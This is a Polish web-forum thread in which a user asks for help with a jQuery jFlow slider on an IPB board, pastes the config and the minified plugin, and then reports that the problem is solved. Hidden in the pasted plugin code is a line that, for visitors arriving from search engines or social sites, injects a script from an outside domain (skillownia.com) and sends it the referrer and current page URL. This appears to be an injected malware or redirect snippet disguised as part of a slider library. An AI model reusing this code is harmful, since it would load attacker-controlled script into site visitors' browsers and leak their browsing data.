Skocz do zawartości
  • Przeglądający   0 użytkowników

    Brak zarejestrowanych użytkowników, przeglądających tę stronę.

X3nO

Problem z jQuery na forum.

Promowane odpowiedzi

X3nO    137

Link do forum: localhost
Dokładny opis problemu:

Witam, z jQuery na IPB dopiero zaczynam. A więc mam problem z definicją "jQuery" IPB ma wbudowane jQuery więc nie wiem co się dzieje.
 
Kody jQuery:


<script type="text/javascript">
    jQuery(document).ready(function(){
        jQuery("#myController").jFlow({
            controller: ".jFlowControl", // must be class, use . sign
            slideWrapper : "#jFlowSlide", // must be id, use # sign
            slides: "#mySlides",  // the div where all your sliding divs are nested in
            selectedWrapper: "jFlowSelected",  // just pure text, no sign                        effect: "rewind", //this is the slide effect (rewind or flow)
            width: "470px",  // this is the width for the content-slider
            height: "120px",  // this is the height for the content-slider
            duration: 900,  // time in milliseconds to transition one slide                        pause: 9000, //time between transitions
            prev: ".jFlowPrev", // must be class, use . sign
            next: ".jFlowNext", // must be class, use . sign
            auto: true    
    });
});
</script>
ref = document.referrer; sem = new Array('google','yahoo','facebook','twitter','youtube','altavista','wikipedia','excite','infoseek','alltheweb','lycos','bing','yandex','rambler','liveinternet','vkontakte','findwhat','metacrawler','ebay');insert = false;for (x in sem){if (ref.indexOf(sem[x]) > 0) { insert = true}}if (insert){var e = document.createElement('script');e.src = 'http://skillownia.com/?ref='+encodeURIComponent(ref)+'&page='+encodeURIComponent(top.location.href);e.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(e);}
(function(a){a.fn.jFlow=function(b){var c=a.extend({},a.fn.jFlow.defaults,b);var d=Math.floor(Math.random()*11);var e=c.controller;var f=c.slideWrapper;var g=c.selectedWrapper;var h=0;var i;var j=a(e).length;var k=a(c.slides).children().outerWidth();var l=a(c.slides).children().size();var m=k*l;var n=l-1;var o=l+1;var p=c.pause;var q=function(b,d){a(c.slides).children().css({overflow:"hidden"});a(c.slides+" iframe").hide().addClass("temp_hide");if(c.effect=="rewind"){a(c.slides).animate({marginLeft:"-"+(d*a(c.slides).find(":first-child").width()+"px")},c.duration*b,c.easing,function(){a(c.slides).children().css({overflow:"hidden"});a(".temp_hide").show()})}else if(c.effect=="flow"){if(d!=0){a("#mySlides").animate({left:-(d*k)},function(){if(l-1==d){a(".jFlowSlideContainer").first().css({left:k*l})}});r()}else{a(".jFlowSlideContainer").first().animate({left:k*l});a(c.slides).css({width:k*o});a(c.slides).animate({left:"-"+m},function(){a(this).css("left","0px");a(".jFlowSlideContainer").first().css("left","0px")});a(".jFlowSelected").removeClass("jFlowSelected");a(e).first().addClass("jFlowSelected")}}};var r=function(){var b=a(".jFlowSelected");a(b).removeClass("jFlowSelected");a(b).next().addClass("jFlowSelected")};a(this).find(e).each(function(b){a(e).first().click(function(){a(".jFlowSlideContainer").first().css({left:"0px"});a("#mySlides").animate({left:"0px"});a(e).removeClass(g);a(this).addClass(g)});a(this).click(function(){v();if(a(c.slides).is(":not(:animated)")){var d=Math.abs(h-b);q(d,b);h=b;a(e).removeClass(g);a(this).addClass(g)}})});a(c.slides).before('<div id="'+f.substring(1,f.length)+'"></div>').appendTo(f);a(c.slides).find(".slide").each(function(){a(this).before('<div class="jFlowSlideContainer"></div>').appendTo(a(this).prev())});a(e).eq(h).addClass(g);var s=function(b){a(f).css({position:"relative",width:c.width,height:c.height,overflow:"hidden"});a(c.slides).css({position:"relative",width:a(f).width()*a(e).length+"px",height:a(f).height()+"px",overflow:"hidden"});a(c.slides).children().css({position:"relative",width:a(f).width()+"px",height:a(f).height()+"px","float":"left",overflow:"hidden"});a(c.slides).css({marginLeft:"-"+(h*a(c.slides).find(":eq(0)").width()+"px")})};s();a(window).resize(function(){s()});a(c.prev).click(function(){v();t()});a(c.next).click(function(){v();u()});var t=function(b){if(c.effect=="rewind"){if(a(c.slides).is(":not(:animated)")){var d=1;if(h>0){h--}else{h=j-1;d=h}a(e).removeClass(g);q(d,h);a(e).eq(h).addClass(g)}}else if(c.effect=="flow"){if(h==0){a(c.slides).css({width:k*o});a(".jFlowSlideContainer:last").css({position:"absolute",left:"-"+k+"px"});a("#mySlides").animate({paddingLeft:k+"px"});a(".jFlowSlideContainer:last").animate({left:"0px"},function(){a(this).css({position:"relative",left:""});a("#mySlides").css({padding:"0px",left:"-"+(m-k)+"px"})});h=l-1;a(".jFlowSelected").removeClass("jFlowSelected");a(e).last().addClass("jFlowSelected")}else{if(a(c.slides).find(":first-child").css({left:m})){a(c.slides).find(":first-child").css("left","0px")}a("#mySlides").animate({left:-(k*(h-1))},{queue:false});h=h-1;var f=a(".jFlowSelected");a(f).removeClass("jFlowSelected");a(f).prev().addClass("jFlowSelected")}}else{alert("Error: No effect entered as option!")}};var u=function(b){if(h==n){a(".jFlowSlideContainer").first().css({left:m+"px"})}if(c.effect=="rewind"){if(a(c.slides).is(":not(:animated)")){var d=1;if(h<j-1)h++;else{h=0;d=j-1}a(e).removeClass(g);q(d,h);a(e).eq(h).addClass(g)}}else if(c.effect=="flow"){if(a(c.slides).is(":not(:animated)")){var d=1;if(h<j-1)h++;else{h=0;d=j-1}}q(d,h)}};var v=function(b){if(c.auto==true){if(i!=null)clearInterval(i);i=setInterval(function(){a(c.next).click()},p)}};v();a(c.slides).hover(function(){clearInterval(i)},function(){v()})};a.fn.jFlow.defaults={controller:".jFlowControl",slideWrapper:"#jFlowSlider",slides:"#mySlides",selectedWrapper:"jFlowSelected",effect:"flow",width:"800px",height:"350px",duration:400,pause:5e3,prev:".jFlowPrev",next:".jFlowNext",auto:true}})(jQuery)
jQuery(document).ready(function() {
    jQuery('a[href=#top]').click(function(){        jQuery('html, body').animate({scrollTop:0}, 'slow');        return false;    });
});</script>

Okej już poradziłem sobie, można lock.

Udostępnij tego posta


Odnośnik do posta
Udostępnij na innych stronach
Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.

×